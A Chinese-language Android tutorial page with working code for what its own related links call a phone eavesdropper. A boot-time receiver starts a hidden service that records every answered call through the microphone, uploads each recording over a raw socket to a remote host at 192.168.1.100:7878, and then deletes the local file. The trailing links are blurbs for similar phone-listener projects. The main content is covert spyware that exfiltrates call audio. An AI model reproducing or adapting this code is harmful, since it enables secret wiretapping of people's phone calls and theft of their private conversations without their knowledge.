基本步骤:
1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务
>>>> 在manifest中完成配置
2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务
>>>>在BootBroadcastReceiver的onReceive()中完成
3、在PhoneService的onCreate()设置PhoneStateListener的功能
>>>>在PhoneService的onCreate()完成
4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能
>>>> 在onCallStateChanged()完成
5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成
==================================================================
具体实现的代码
1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务
>>>> 在manifest中完成配置
<application..... >
<service android:name=".PhoneService"/>
<receiver android:name=".BootBroadcastReceiver">
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务
>>>>在BootBroadcastReceiver的onReceive()中完成
public void onReceive(Context context, Intent intent) {
Intent service = new Intent(context, PhoneService.class);//显式意图
context.startService(service);//Intent激活组件(Service)
}
3、在PhoneService的onCreate()设置PhoneStateListener的功能
>>>>在PhoneService的onCreate()完成
public void onCreate() {
super.onCreate();//父类的方法不能去掉,必须保留
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能
>>>> 在onCallStateChanged()完成
private final class PhoneListener extends PhoneStateListener{ private String incomingNumber; private File file; private MediaRecorder mediaRecorder; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_RINGING://来电 this.incomingNumber = incomingNumber; break; case TelephonyManager.CALL_STATE_OFFHOOK://接通电话 file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp"); mediaRecorder = new MediaRecorder(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mediaRecorder.setOutputFile(file.getAbsolutePath()); mediaRecorder.prepare(); mediaRecorder.start();//开始录音 break; case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态 if(mediaRecorder != null){ mediaRecorder.stop(); mediaRecorder.release(); mediaRecorder = null; uploadFile(); } break; } } catch (Exception e) { e.printStackTrace(); } }
5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成
private void uploadFile() {
new Thread(new Runnable() {
public void run() {
try {
if(file!=null && file.exists()){
Socket socket = new Socket("192.168.1.100", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileOutStream.read(buffer)) != -1){
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
file.delete();
file = null;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}
相关推荐
完全自定义界面的来电秀demo,1.针对联系人独立设置来电壁纸,真正个性来电; 2.来电壁纸,自由添加,个性无限; 3.来电归属地显示,来电信息了如指掌; 3.丰富设置,细到来电信息字体大小,满足不同人群;
电话监听器 执照 麻省理工学院执照 ... 特此免费授予获得此软件和相关文档文件(“软件”)副本的任何人无限制地处理软件的权利,包括但不限于使用,复制,修改,合并的权利,发布,分发,再许可和/或出售本软件的副本...
39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...
39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...
39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...
用法需要 tiapp.xml 上的模块: < modules> < module xss=removed>com.baboonmedia.phonelistener</ module> </ modules> 您还需要请求一些权限才能收听电话更改: < manifest> < uses xss=removed> < uses-...
再来看看"pmmp",这个名字没有明确的Android系统组件对应,但有可能是某个特定项目的缩写,例如“Phone Management and Monitoring Platform”(电话管理和监控平台)。这个平台可能包括了对设备电话功能的高级控制...
1. **新闻管理(newsmanage.zip)**:此部分可能涉及到Android中的数据存储,可能是SQLite数据库或者网络数据获取,用于实现新闻的增删查改功能。开发者可能会学习到如何设计数据库模型,使用SQL语句操作数据,以及...
总结起来,Activity、Bundle、请求码与结果码、Intent、BroadcastReceiver和服务是Android开发中不可或缺的部分。理解并熟练掌握这些组件的工作原理和用法,能够帮助开发者构建出功能丰富且稳定的Android应用程序。...
1. 创建服务:创建一个服务,用于监听电话状态的变化。 2. 监听电话状态:使用TelephonyManager类来监听电话状态的变化。 3. 录音:当电话状态变化时,使用MediaRecorder类来录音。 4. 保存录音文件:将录音文件保存...
这篇文章教你如何帮助用户自动接听或者挂断来电。当然并不是我原创的代码,我只不过是把stackoverflow上的一些代码整合了一下,做个代码的二传手。...<receiver android:name=.incomingcall.PhoneListener> <ac
在Android开发中,服务(Service)是一种用于在后台执行长时间运行操作...这个案例中的"phonelistener"可能包含了具体的代码实现,供开发者参考和学习。通过阅读和理解这些代码,开发者可以更好地理解和实践这一功能。